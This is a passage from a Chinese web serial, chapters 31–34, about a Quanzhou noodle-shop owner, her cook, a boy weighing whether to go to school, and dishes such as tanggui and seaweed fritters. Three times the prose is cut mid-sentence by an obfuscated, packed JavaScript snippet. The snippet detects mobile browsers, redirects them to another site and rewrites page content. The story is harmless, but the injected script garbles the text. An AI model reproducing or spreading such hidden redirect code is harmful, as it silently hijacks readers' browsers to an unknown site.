阿生瞥见苏月娘盆里的一坨粉红面团，灵光一闪。 “冬节丸和糖粿一样，都搓成白色和红色的！而且我记得冬节丸和糖粿都要放白水里煮熟！” 红姑没想到阿生记性如此好，一时间激动地眼眶发红。 苏月娘打量了一眼阿生。 不得不说，阿生这孩子一股机灵劲儿，想必长大之后也是个脑子灵光的。 “阿生这么聪明，伯母有没有想过把他送到学堂去念书，往后往低了说考个秀才减免田税，往高了说去当官造福百姓！” 红姑听了怔了怔。 这……真的可以吗？ 31. 糖粿2 厨房里灶火正旺。 许东山将一大盆剥了壳的红皮花生倒入大锅旺火翻炒。 这是今年的头批熟的花生，稍作翻炒，独属于花生的油香便轻易冒了出来。 阿生闻见花生的香味，从长椅上跳了下来，跑入厨房，站在许东山身边看炒花生。 “一会儿给你留一碟。”许东山见孩子口水都快流下来了，有些哭笑不得。 阿生期待地点了点头。 一大盆花生炒熟之后，许东山没忘记给阿生盛了一碗，给他当做零嘴吃。 阿生乖巧地端着小碗坐在灶边吃花生，小眼睛随着许东山的走动而转来转去。 在阿生为数不多的阅历里，在街上叫卖东西是赚钱，在店里干活是赚钱，去大户人家里当帮工也是赚钱。 这样平凡的事情不必特意花钱去学，只需付出一定劳力，就能将工钱收入囊中。 这样的活计怎么想都比去学堂读上几年书再四处考学的回报来得快。 阿生吃了小半碗花生就腻味了，他将碗搁在灶头，四处张望，“干爹，花生呢？” “在院子里，搓皮之前你记得将手洗干净。” 阿生大声应好之后，拎着矮板凳跑到院子里去。 院子里常备一缸水，阿生踮起脚尖从窗台上取下水瓢，舀水将自己的手洗得干干净净，等两手风干之后，才拖着那一大盆花生奋力地搓起皮来。 稍微冷却的熟花生摸起来是温热的，外皮一搓就破。 苏月娘说了，阿生把花生皮搓干净就能得到五文钱。 …… 大概是因为前两日面线糊店闭门歇业，今日早晨上门喝面线糊的客人尤其多。 干货行的吴头家甚至还破天荒地领着自家小孙儿上门吃早饭。 “老样子来两份！” 吴头家不会亏待自己的嘴，每回过来吃面线糊，总是会点满满当当一碗料。 做他一个人的生意相当于做了三个人的生意。 苏月娘一边做糖粿，一边笑问道：“今天吴头家怎么把你家孙子带来了？” 吴头家领着他孙儿入座，喜气洋洋道：“他今天去上学堂！以后他上学堂之前，我都会领他过来喝面线糊！” 吴头家的孙子垂头丧气地搓着手，吴头家见了，皱着眉，往他后背拍了下。 “一会儿见了先生，你可不要再这样！读书人就要有读书人的精气神！” 小孙儿这才不情不愿地挺直腰背。 红姑想到方才苏月娘建议自己将阿生送到学堂的读书的事情，便借机问道：“把孩子送到学堂读书，贵不贵啊？” 吴头家可是凤池镇上出了名的有钱人，他原想说读书钱并不是很多，但思及对方的条件，他委婉地说了个数。 红姑听了，竟然松了口气—— 多干点活，咬咬牙也是能供出一个读书郎…… 许东山正好端着两碗面线糊出来，听见红姑的问话，他不免问道：“伯母要送阿生去学堂读书？” 红姑点点头，“做个读书郎也好……有了学识，往后他也不用跟我一样去做苦工了。” 许东山方才也听见了去学堂读书的数额，若是红姑要供阿生读书，恐怕要吃不少苦头。 作为干爹，他也希望干儿子能有一个好的前程。 “阿生的读书钱我包了！” 反正他孤家寡人一个，一人吃饱全家不饿，赚了钱也没地方花，还不如给阿生当读书钱。 红姑摆手，“这怎么行！你的钱还是留着娶媳妇吧！” 许东山还想再说什么时，又有几个客人上门，送阿生上学堂的话题暂时搁下了。 —— 临近中午，红姑和苏月娘已经搓了上千个糖粿。 因为厨房放不下更多簸箕了，红姑和苏月娘这才暂时停下手。 “来来来……咱们先煮一锅糖粿尝尝！”苏月娘累了一上午，就惦记着这一口。 许东山早就烧好一锅滚水，只等着这一声令下，便将一簸箕糖粿倒入滚水中煮。 为防止糖粿在沸水中粘连，许东山手持大勺，站在灶边不停搅拌。 白水煮出来的糖粿还需要蘸料，对于蘸料，泉州人大差不差都是蘸花生糖，但也有部分人会额外在糖粿里淋上葱头油。 苏月娘与红姑分工明确，苏月娘熬葱头油，红姑往杵好的花生碎里面拌上白糖。 上门吃午饭的客人们见头家和厨子都不在堂屋，便纷纷走到厨房门口喊人。 “月娘头家！你们在做糖粿？” “是啊！您两位吃什么？”苏月娘怕红葱头碎糊底，只能光回头招呼，不挪动脚步。 “今天着急走，就先要排骨咸饭和汤吧！明天我们再过来尝尝你家的糖粿！” 苏月娘和许东山都腾不开手，就只能刚拌好花生糖的红姑去给客人盛饭装汤。 红姑之前来过几次，大概清楚饭里装几块排骨、汤里放几片肉羹。 苏月娘见红姑做得如此好，便放心将招待客人的事情交给红姑去做。 第一锅糖粿煮熟，苏月娘先用大漏勺盛了三个大碗一个小碗留着自己人吃。 没等苏月娘开吃，就有特意上门吃糖粿的客人闻味而来。 “月娘头家，你上回说的大份小份都是几个？” 苏月娘放下碗，与客人介绍道：小份十二个四文钱，大份十八个五文钱！” “来碗大份的吧！” 另一人便要了小份的。 “那要掺葱头油吗？我们的葱头油刚刚出锅，还热乎着！” 要了大份的那位客人连连点头，“我那份给我多加点葱头油吧！” 要了小份的客人则是连连摇头，“加了葱头油得一股葱臭味！给我花生糖就好了！” 苏月娘道一声好嘞，收了钱就去厨房给客人们捞糖粿了。 而那两位客人则在堂屋里就吃糖粿加不加葱头油展开了激烈的辩论。 给客人们分别上了糖粿和花生糖后，苏月娘端着她那碗糖粿与许东山他们坐在一块儿吃。 许东山手头比以前宽裕之后，吃饭时便喜好多少沾点荤腥。 他也是四人中唯一一个往糖粿中拌了葱头油的。 裹着葱头油与一片红葱皮的糖粿放在花生糖里滚上半圈，一半是油，一半是糖，正是许东山最喜欢的甜度。 苏月娘看着他将糖粿送入口，不禁问道：“加了葱头油的糖粿真的会好吃吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271664|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 以苏月娘的口味，葱头油只适合用来制作咸口的菜品，做甜口的吃食便不怎合适了。 由葱头油做成的猪油糖她都觉得味道古怪，吃过一次便不肯再吃下一次。 许东山嚼着糖粿，将裹在外头的白糖粒咬得嘎吱作响。 于他而言，柔软有嚼劲的糖粿蒙上葱香浓烈的葱头油再裹上花生糖，有一种吃没有猪油味的猪油糖的感觉。 “好吃，你也尝尝。”许东山很是真诚地将葱头油推到苏月娘的面前。 苏月娘看着飘着焦脆红葱头碎的葱头油，还是皮笑肉不笑地将之推了回去。 “我蘸花生糖就好！” 糖粿刚出锅的时候颗颗分明，苏月娘耽搁了一会儿，这糖粿就几乎黏糊成了一团。 当然，闽南人的糖粿多是敬过七娘妈了才能吃，吃黏糊成了一团的糖粿反倒才是常态。 糖粿添了生油揉制，并无那么黏，苏月娘用筷子一夹，糖粿扯成了一长条，继续拉高，糖粿“崩”地一下一整颗被全须全尾地拉起，并未破坏垫在下方的糖粿一分一毫。 苏月娘爱吃甜，便将那颗糖粿裹满了花生糖再送到嘴里。 糖粿不黏糖粿，但是黏筷子，苏月娘极有经验地咬着筷子，一点一点地将筷子上的糖粿刮拉下来。 不加葱头油的糖粿较为干燥，口感也更加纯粹，外脆内糯，糯米香与花生香交织，就像吃包花生糖的麻糍一般，只不过是层次相反罢了。 …… 泉州城的夏日尤为漫长，四果汤的生意至今还是十分红火。 又有不少大人带着自家孩子上门喝四果汤，孩子瞧见堂屋里的众人都在吃糖粿蘸花生糖，便也闹着要吃。 这不马上七夕了，家里还没开始做糖粿的，便不忍心拒绝小孩子的请求。 人总是从众的，新来的客人见大家伙吃糖粿吃得那么香，便跟着点一份尝尝。 可也就两日没有开店，客人们都一窝蜂地涌来，甚至有几人都没找着座位，只能站在门外等着。 厨房里的几人忙得团团转，炒米粉、米粉汤、糖粿一锅接一锅出，平日里从不会上错东西的苏月娘今日送错了好几回东西，所幸客人们都宽容地体谅忙得茫恰恰（1）的苏月娘。 一直忙到了将近未时四刻，堂屋才空下来。 既煮糖粿又上菜的苏月娘累得毫无形象地趴在桌上歇息。 最为轻松的阿生小伙计很是贴心地给苏月娘端来茶水。 “姑姑辛苦了！” 苏月娘懒洋洋地捏捏阿生的脸颊。 红姑毕竟是常做粗重活的，这点忙碌对她来说也算不得什么。 “月娘你歇着，我去帮阿山洗碗！” 苏月娘没和红姑客气，“您去吧！这两天您辛苦一点，我多给您些工钱！” 红姑一边客气地说着不用，一边撸起袖子往后院走去。 苏月娘望着红姑干劲十足的背影消失在院门边，她转了个头，看向学着她趴在桌子上的阿生： “你以后可要好好念书，不要辜负你阿嬷对你的期望！” 阿生听这话愣了愣，随后蔫巴巴地耷拉下眼皮。 “月娘姑姑，我不想去学堂……” 32. 紫菜炸 苏月娘没想到阿生会不愿去学堂念书。 她想，或许是阿生还小，不知道读书对于一个出自市井平凡人家的孩子而言意味着什么。 “跟姑姑说说，为什么不想去学堂？” 阿生眨眨眼睛，苦恼地撅起嘴。 “我要是去了学堂，阿嬷会很辛苦……” 虽然阿生每日看着乐呵呵的，但他心里却知道自己家里穷，家里的收入全靠阿嬷起早贪黑得来。 他常常苦恼自己岁数太小，没能为阿嬷分担一二。 苏月娘不禁为这话而动容，虽然阿生说的是事实，但她还是希望阿生去学堂试一试。 “你看啊……你要是好好读书，考上秀才了，你家那几亩地就不必向官府缴纳田税了，而且，你还可以免除那些乱七八糟的徭役！” 阿生还是摇头，“姑姑你不懂……我在街上听别人话仙说学堂教书的老先生四十了才考上秀才……我要是读书读到四十岁……” 阿生努力地掰着手指头，摆了半天，没掰明白。 “那阿嬷得辛苦一辈子……” 苏月娘心疼地揉了揉阿生的脸颊，“我看你聪明得很！别人说什么你都能记住，你最适合去读书了！钱的事情你不用担心，你干爹会帮着供你的！” 阿生闷闷道：“干爹是干爹……我不能麻烦干爹……” “傻孩子，你都喊他一声干爹了，麻烦他又怎么样？你回去好好想想到底去不去学堂！” —— 阿生一直思考着要不要去学堂，一整个下午都沉默得过分。 红姑和许东山不知缘由，只当阿生在店里闷得慌，后来店里又忙起来了，大人们也就没再管过阿生。 临近闭店，所有糖粿都卖完了，红姑既然要多领一些工钱，便主动去院子里洗碗。 苏月娘也趁此提出要带阿生上街买菜。 许东山给苏月娘塞了点钱，让苏月娘买菜，也给阿生买点零嘴。 站在门边目送一大一小手拉着手走远之后，许东山才笑着收回视线，提着大桶，低头用力抹去桌上的汤痕与米粉条。 他这一辈子大概是平凡而又辛苦，但他希望阿生能过得轻松一些…… “阿山师弟！” 一道熟悉的声音打断了许东山擦桌的动作。 许东山抬起头，就见他的大师兄黄阿三左手提着一坛酒，右手拎着一块肉，站在店门口往里张望。 那表情…… 许东山直起腰背，将抹布搭在桶沿，看着黄阿三晃悠着走入堂屋。 “师兄怎么过来了？班子上没活吗？” 黄阿三将那坛酒放在桌上，笑着拍了拍封酒布，“趁着没活特地过来找你！今天晚上你做点好的，咱们兄弟两个一起喝一杯！” “我表妹还在家里，不如我请你去别的地方吃一顿？” “别啊！师兄就想看你露一手！反正你表妹也是自己人，让她跟我们一起吃！” 黄阿三不由分说地提着肉往厨房走去。 …… 苏月娘牵着阿生回来时，红姑和许东山已经一齐将店里打扫干净了。 “伯母！今天晚上留着一起吃饭吧！我买了好多菜呢！” 红姑从厨房里探出头来，“下次吧！今天你家来客人了！” “客人？”苏月娘提着菜篮子往厨房走去。 只见许东山和那个所谓的客人站在一块儿备菜。 黄阿三注意到苏月娘，主动打了招呼，“我是阿山的师兄，一会儿一起吃顿好的！” “师兄你好……”苏月娘看向红姑，低声道：“伯母我去你家吃饭吧？” “人家刚刚点名说要带你一起吃呢！你要是不乐意留下跟伯母走也行！伯母给你做好吃的！” 苏月娘迟疑地看着黄阿三的背影。 她总觉得黄阿三来这儿可能不只是为了和许东山叙旧、吃顿好的。 思来想去，苏月娘还是决定留下。 红姑祖孙离开之前，苏月娘还将刚买的一块肉塞给他们。 黄阿三带了酒来，今日晚上的菜色就注定简单不了。 问了许东山和黄阿三的意思后，苏月娘将没有安排上的食材拨到一旁思索要做点什么合适。 今晚的菜已经有了煎、煮、炒、蒸了，正好缺一样炸的。 正好还剩下一块豆腐和一些肉，做点紫菜炸当下酒菜最是合适不过了。 苏月娘将其他食材翻了出来，见案板由许东山占着，她便先站在他边上等着。 待许东山将鱼处理清楚，回头看见手里抓着几样食材的苏月娘，便顺手将东西接了过来。 “想做什么？” “我想炸点紫菜。” 黄阿三见切菜的活由许东山代劳，挑了挑眉，“阿山师弟，你不是说你头家也会做菜吗？怎么切菜还要你帮忙？” 许东山头都不抬，快速地剁葱，刀下的葱碎被快速地起起落落的刀刃带飞，有的落回菜板，有的溅到了菜板之外。 “师父掌勺的时候，你不也是切菜的。” 黄阿三自讨没趣地扯了扯嘴角。 苏月娘看着黄阿三没在许东山那儿讨到好，悄悄翘起了嘴角。 许东山剁好葱、马蹄，切好红菜丝，一并将之装到小盆里还给苏月娘。 苏月娘笑着冲他眨眨眼，明亮的眼里装满着对他的赞许。 许东山看懂了她眼中的情绪，刚想回她一笑，她却头也不回得捧着盆走了。 紫菜已经泡好了，为了不让调出的紫菜糊过于稀，苏月娘还得将紫菜从水里捞出，用力攥干水分。 吸饱水分的紫菜滑溜溜的，苏月娘一用力，那些紫菜还甚是不听话地想从指缝钻出去。 苏月娘只得一边挽救差点溜走的紫菜，一边慢慢使力。 好不容易将紫菜的水分攥了八成干，苏月娘将紫菜丢到小盆里，这时，她的手上黏满了被扯断的紫菜碎。 她正要去院子洗手，许东山便用刀护着一坨剁好的肉末走来。 “肉剁好了，不用洗手了。” 许东山兢兢业业地干着帮厨的活。 “上哪去找这么好的厨子啊！”苏月娘举着双手，等着许东山帮着放盐倒酱油撒五香粉。 黄阿三闻言干笑了两声，“以阿山的水平，不知道什么样的大厨才能让他心甘情愿地帮忙打下手。” 苏月娘深知自己的手艺或许都比不上他们宴席班子里手艺最差的一位，但对方夹枪带棒的，她就不可能惯着他。 “许大哥为什么没给你打下手？” 黄阿三，“……” 但让上门做客的脸上太难看也不成，苏月娘又笑道： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283573|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “许大哥也太不懂事了，你师兄难得来一次，你竟然真让人家围着锅灶做菜。” 说罢，苏月娘哼着轻快的曲儿将豆腐丢入盆里，再打上三颗鸡蛋后，用手来回伸进盆里，来回抓揉着食材。 黄阿三脸色黑透了，但碍于许东山那张臭冷脸，便没敢当场发作。 紫菜、豆腐、红菜、肉末这几样食材抓揉均匀后，苏月娘往盆里倒了两大勺地瓜粉继续搅拌。 既然要下锅烹炸，那必然要炸出一个能见人的形状出来。 所以最理想的紫菜糊的状态便是地瓜粉抓至没有干粉之后，少许地瓜糊在间隙牢牢地将食材锁在一起，用手掐起紫菜糊，能够捏起一个可以成型的丸子，外观看来是大片紫菜红菜丝、葱碎、马蹄碎。 待油温六成热，苏月娘慢条斯理地用勺子蒯着紫菜糊，争取让每一颗紫菜丸子的个头大差不差。 经过热油的洗礼，地瓜糊逐渐失了颜色，等油泡散尽，紫菜炸已经只能看见以黑紫色紫菜为主的几样食紧密结合在一起。 炸至表面坚脆，蒙上一层发亮的油光，紫菜炸便可以装盘出锅了。 因为黄阿三在场，苏月娘还颇为刻意地去院子的花盆里薅了两根芫荽洗干净团在紫菜炸上面当装饰。 …… 三个人，五菜一汤一坛酒。 其中有两道菜做得异常丰盛，摆盘也甚是做作，什么菜头雕花、小葱筑巢全给摆上了…… 另外三道菜便是模样较为平平无奇的家常下酒菜。 不必想也知尤为做作的那两道菜是黄阿三做的。 苏月娘看着黄阿三那一脸得意，默默地撇了撇嘴。 黄阿三这个时候又显得尤其会做人。 “不管是宴席菜还是家常菜，味道好的就是好菜！”黄阿三率先夹了一筷子许东山蒸的鱼放进嘴里品味，而后眯着眼，夸赞道：“阿山的手艺还是如此精湛！这么腥的鱼竟然被处理得没有半点鱼腥味！” 许东山和苏月娘对视了一眼，两人默契地觉得黄阿三这么夸张地夸奖那盘清蒸鱼，必是没憋什么好水。 果不其然，黄阿三下一句便是： “阿山这手艺留在这家小店里煮面线糊实在是屈才！不如去我那宴席班子里做事！” 抢人都抢到头家跟前了…… 苏月娘皮笑肉不笑，“黄师兄可真不厚道！抢人都不背着我这个头家！” 她戳起一颗紫菜炸丢入嘴里，将外皮酥脆的紫菜炸咬得嘎吱作响。 可惜这紫菜炸是外酥里软，外皮咬完便没声了。 苏月娘就又塞了一颗，一边嚼着，一边面露不善地盯着黄阿三。 黄阿三笑了笑，“我也是为了他好，他在这儿做菜，模样是越做越随便了。” 说着，黄阿三还扫了一眼苏月娘那盘长得最为平平无奇的紫菜炸。 许东山却是当着黄阿三的面夹起一颗紫菜炸放入口中。 外酥里嫩，很有嚼头，且紫菜香与肉香结合得当，入喉后还能得以回味—— 于许东山而言，这模样随便的家常菜，比精心摆盘的宴席菜好吃多了。 看许东山用实际行动拒绝了黄阿三的邀请，苏月娘眉眼带笑，道“那说明许大哥知道什么样的场合该做什么样的菜……咱们就是私底下吃顿便饭，黄师兄的这两道菜……太刻意了！” 33. 清源茶饼 黄阿三能将宴席班子办起来，自然也是有他的圆滑之处。 许东山不愿意和他出去干，苏月娘也不同意放人，这事儿要是再继续说下去，这张桌子怕是迟早会被掀翻。 黄阿三主动端起酒碗，“我也是惜才，这一碗我敬你们！” 许东山看了苏月娘一眼，苏月娘抬了抬下巴，同意他回一碗酒。 许东山便捧起酒坛子，给自己也倒了一碗，随后一饮而尽。 平日里许东山基本不会沾酒，这才半碗下肚，他便被辛辣的酒液呛得连连咳嗽。 苏月娘忙起身去倒水。 “喝点水缓一缓！”苏月娘端着水，走到许东山身边俯身看他，空出的那手用力地拍着他的后背。 许东山咳了好一阵才堪堪缓过劲儿，待他一扭过头，猛然发现苏月娘与他靠得极近，她的面上担忧难掩，一只手还搭在自己后背轻轻拍打着。 “许……表哥……你喝点水……”含混着米酒清香的气息扑面而来，红晕在双颊上慢慢浮现…… 没有沾酒的苏月娘好似成了喝酒的那一个。 “多谢……”许东山接过那碗水，仰头慢饮，碗沿遮住了他因无措而乱颤的眼皮子。 见许东山没有大碍了，苏月娘才收回手，坐到椅子上去。 黄阿三玩味一笑，“阿山，你们兄妹两个关系还挺不错啊……” 知道黄阿三不怀好意，许东山也就没接这个话题，“师兄难得来一趟，吃饱一点。” 说罢，半只没敲开的螃蟹落在黄阿三的碗中。 有螃蟹堵住黄阿三的嘴，他便再不能胡说八道了。 …… 酒过三巡，桌上已经剩不了多少菜了。 酒量不错的黄阿三只是有些红脸，许东山却是醉得两眼迷离，动作迟缓。 苏月娘生怕许东山再喝会睡在酒桌上，思来想去，强硬地抢过了他的酒碗藏在身后。 “黄师兄，你看时辰也不早了……明天天不亮我们还要做生意……” 黄阿三心领神会地站了起来。 “这酒也喝得差不多了，我就先回去了！阿山，你出来送送我！” 许东山迟缓地点了点头，双手撑着桌面慢慢站了起来，苏月娘看他这要倒不倒的样子，赶忙伸手馋住他。 许东山一时得到了依仗，强撑的身体立即松懈下来，歪歪斜斜地往苏月娘身上靠了去。 毕竟是个身高体壮的男人，苏月娘被他靠得踉跄了两步，才勉强站住了脚跟。 两人一直跟着黄阿三走，直到走到巷口才停下脚步。 黄阿三回过头，看着险些没将大半个身子倚在苏月娘身上，似笑非笑道： “阿山，你我师兄弟也十好几年了，我这儿有个小忙你帮不帮？” 许东山愣了愣，随后点了点头。 “普渡不是马上就到了吗？我这班子上接了个大活，普渡那天要给一户人家做三十桌菜……班子上就那几个人肯定做不来，师兄希望你哪天去搭把手！” 许东山歪头看向苏月娘，含糊不清道：“可以去吗？” 许东山那张脸挨得实在近，苏月娘皮笑肉不笑地将他的脸推远了一些。 “反正普渡那天大家都在家里备席，客人也多不到哪里去……你就去吧。” 许东山点点头，“我头家说让我去。” 苏月娘，“该给的工钱还是得给，我家厨子可贵了！” 相处久了，苏月娘也知道许东山脾气好得过头了，有时候吃了闷亏也是也一声不吭的，她就怕这个可恶的黄阿三让许东山白干活。 黄阿三没想到苏月娘这么精，只好承诺道：“我不会不给工钱的。” “那就成，时候不早了，黄师兄快回去吧！” 苏月娘咬着牙，拉着死沉的许东山往回走。 黄阿三盯着两人的背影看了许久—— 一会儿喊许大哥，一会儿喊表哥…… 这到底是闹哪样呢？ …… 苏月娘费劲地拖着许东山回到了后院屋里。 许东山踉跄了两步，自己“咚”的一声，直挺挺地扑在了床上。 他倒是个挺省心的人，蹬掉了鞋，扯过被子盖在自己身上。 苏月娘气喘吁吁地站在床边盯着许东山，“早知道就先让你师兄把你背回来再把他赶走……” 躺在床上的厨子摇头，“不行……他不是好人……不能他背我……” 苏月娘听了，饶有兴致地蹲下，双手扒在草席边，问道：“你跟我说实话，你师兄让你去他那干活的时候，你是不是很心动？” 都说酒后吐真言，苏月娘想知道许东山心里是怎么想的。 许东山半眯着眼睛，有些昏昏欲睡，好半天回答不上来。 他每耽搁一下，苏月娘的心便凉一截。 眼见许东山的眼睛快要闭上了，苏月娘连忙掰着他的眼皮，强迫他睁开眼睛，“你说啊……你是不是不想在我这儿干了！” 被迫暂时睁开眼睛的许东山失神地看着眼前人带着薄怒的脸。 他竟觉得这样的她比时常对人笑的她可爱。 “许东山！” 许东山的春心荡漾被苏月娘一声愤怒的低语搅散了。 他轻笑一声。 “哪都不去……只想跟你待在一起……” 这话说完，苏月娘松开了手，许东山闭上了眼。 晚风轻轻掀起窗帘，钻入房里，将苏月娘的思绪吹得有些凌乱。 她撅着嘴，俯背趴在床边，盯着已经睡着的许东山看了很久。 直到许东山翻了个身，用后脑勺对着苏月娘，苏月娘才站了起来，一边捏着酸麻的腿，一边慢慢走出去。 途经厅堂，苏月娘往外一望，晚风吹散了蒙在明月上的云层，璀璨的明月一现身，护在明月周边的星，便甘愿隐没在明月周遭，化为无形的点缀。 苏月娘长舒一口气，神情极为轻松。 因为许大厨说他哪都不去。 —— 初六正好是立秋。 于别处而言，入了立秋便是秋季，但是对泉州城而言，就算入了立秋，真正的秋季何时到来还尚未可知。 大抵是因为昨日喝了酒的缘故，今早许东山起床时头痛欲裂，到现在还蔫巴巴的。 苏月娘也帮不了他什么，只能给他煮一碗简单的茶汤，助他缓解宿醉。 看着许东山喝下了茶汤之后，苏月娘才放心地出去与红姑一起做糖粿。 许东山搅拌着面线糊，时不时偷瞄外头的苏月娘一眼。 他虽然酒量不行，但是酒后记性却极好，昨晚的所有言语与触碰都宛若刻在他心里一般，挥之不去。 一想起来就让他“臊得慌”。 “干爹，你今天为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288951|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么一直偷看月娘姑姑？”阿生站在许东山身后观察了他半天。 许东山赶紧丢下大勺，死死捂着阿生的嘴。 他紧张地望着外头，确认苏月娘没有听见半点才拉着阿生去角落里。 “干爹？”阿生挑眉，“干爹还没回答我的问题呢！” 许东山低声道：“你看错了。” 阿生可不是个好糊弄的孩子。 “那干爹为什么要捂我的嘴？” 许东山一时词穷，只能与阿生大眼瞪小眼。 “干爹——” 许东山见这孩子还不好糊弄，只好捂着自己的鼻子，道：“因为你上火了，嘴巴有味。” “我刚刚是在干爹身后说的话！” 许东山有些头疼，“因为味道太大了……” 见干爹将自己当傻子一般糊弄，阿生有些生气，他张嘴大喊： “月娘姑姑！” 许东山大惊，又要去捂阿生的嘴，只是苏月娘很快走进来找阿生，他只能忐忑不安地收回手，任由冷汗沁湿了后背。 “怎么了？” 阿生瞥了许东山一眼，仿佛看透了许东山波澜不惊的外表下潜藏着一颗快要从嗓子眼跳出来的心。 “月娘姑姑……臭干爹他……” 许东山呼吸停了一瞬。 “他说我嘴里有味！” 苏月娘温柔地对有些忿忿不平的阿生笑了笑。 “上火了是吗？姑姑给你泡点茶饼喝！” 苏月娘转身从橱柜里取出一包清源茶饼。 松了口气的许东山瞪了阿生一眼，随后看着苏月娘抓茶饼往水壶里丢。 “这茶饼什么时候买的？” 苏月娘舀了两大瓢水将水壶装满，“昨天买菜的时候路过刘叔家门口，刘叔送了我一包。” 许东山了然地点了点头。 阿生却是苦了脸，“姑姑，你煮这么多我可喝不完！” 清源茶饼回味略苦，许多孩子都不爱喝。 大概是水加得有些多了，苏月娘便又掰了半块儿色乌又结实的茶饼丢了进去。 “这量恐怕得水牛才能喝完！我给你留两碗，剩下的摆在门口当奉茶。” 阿生闻言也松了一口气。 …… 不消多时，茶水沸腾，清苦的药茶香味四处飘散，苏月娘给客人上完面线糊便回到厨房，提起水壶，倒了两大碗茶水给不知道躲到哪去的阿生留着。 “许大哥你喝一碗吗？这个好像也可以治头痛……” 苏月娘端着个空碗举了举。 许东山又想起了昨晚苏月娘给他倒水拍背……他面上有些火热。 “不了。”许东山冷酷地转过身，继续搅拌面线糊。 既然许东山不喝，苏月娘也就给自己和红姑倒了一碗，然后打开盐罐子，往水壶里加上一勺盐。 虽然苏月娘不喜欢咸味的清源茶饼，但是别人家奉的清源茶饼都加盐，所以她也就跟着加点。 “明年入夏的时候许大哥记得提醒我奉茶！”苏月娘一手提水壶往外走。 目送苏月娘走过脚之后，许东山低下头，瞧见桌边放着一杯热气腾腾的茶水。 应是苏月娘离开前给他放的。 这时候，阿生鬼鬼祟祟地从院子里探出头，看着干爹对着那杯茶笑得很是不值钱。 他不禁摇了摇头。 34. 敬七娘妈 只要夏日的燥热没有散去，泉州城里一定随处可见供路人消暑解渴的奉茶摊。 月娘面线糊店开在巷口，最是合适奉茶。 只需有一张小木桌，一壶茶水、一摞杯子，这奉茶摊便算是支起来了。 “月娘头家，你可算想起来要奉茶了！”住在对门的林阿婆拄着杖颤颤巍巍地入巷子。 苏月娘见林阿婆有些气喘，便倒了一杯茶水送了上去。 “才刚煮好的，您喝一杯。” 林阿婆接过茶杯，同苏月娘道了谢后，慢慢地喝起了温热的茶水。 “今年茶饼那么贵，你还泡茶饼来奉茶，你还真是大方！” “这茶饼是别人送的，我也就是借花献佛罢了！” 林阿婆笑了笑，“你有这份心就是好的！天公一定会保佑你这样的好人！” 苏月娘听林阿婆夸自己，嘴角都快咧到耳根子去了。 “您慢慢喝，不够再去倒！我先回去干活了！” …… 小小奉茶摊虽然长得平平无奇，但胜在摆的位置很是显眼，在毒辣的日头下行走许久的过路人瞧见奉茶摊，大多会驻足喝上一杯，更有部分人瞧见店里一片阴凉，干脆进到店里吃点东西。 昨日的生意已经够好了，没成想今日的设备工艺比昨日还好。 红姑和苏月娘先前做的糖粿被一点而空。 只可惜苏月娘还要忙着上菜，只有红姑一人做糖粿，她的手都快搓冒烟了，却还是赶不太上客人们点糖粿的速度。 阿生见红姑如此忙碌，便悄摸摸地坐到红姑身边，学着红姑的样子做起了糖粿。 红姑愿还觉得阿生是过来捣乱的，但看阿生做得实在有模有样，便默许了阿生的帮忙。 客人们来来去去，苏月娘不仅要忙着上菜，还要帮客人们安排位置。 “里面还有两个空位，辛苦二位跟大家一起挤一挤了！” 苏月娘刚安排好了两位客人，又瞧见阿莲挑着豆花慢悠悠地走来。 “今天的豆花卖完了？”苏月娘见阿莲停在门口倒茶水喝。 “今天天热，买豆花的厝边不少！”阿莲往门里边张望了一眼，“你今天生意也不错啊！” “是不错……搓糖粿的速度都赶不上卖出去的速度！”苏月娘看着阿莲如此悠哉地喝水，忽然想留她一起干活。 阿莲见苏月娘笑得很是不怀好意，喝水的动作顿了顿。 “反正你回去也没事做，不如留下来一起做糖粿！我不仅给你开工钱，还包你午饭和晚饭！” 阿莲家里只剩下她和她娘，她娘和红姑一样，时常去外头给人家干活，阿莲一般不必操心她娘的吃食。 阿莲也是个勤快的，听说苏月娘要给她开工钱，便笑呵呵地带着她的扁担和空筐随着苏月娘进了门。 —— 林阿婆说的没错，天公总是会保佑苏月娘这样的好心人。 今日闭店后，苏月娘给红姑、阿莲还有阿生发了工钱之后，清算了一下今日的盈余。 四五文一碗的糖粿积少成多，倒也是卖出了三百出头碗，加上面线糊、咸饭、米粉、四果汤，今日一日竟然是开店以来最多收入的一日。 许东山洗碗晚饭的碗出来，便看见他的头家趴在钱堆里笑个不停。 他驻足于厨房门口，抱着臂，看着她笑。 待苏月娘笑够了，小心翼翼地将沉甸甸的铜板收到匣子里去后，许东山才走上前去。 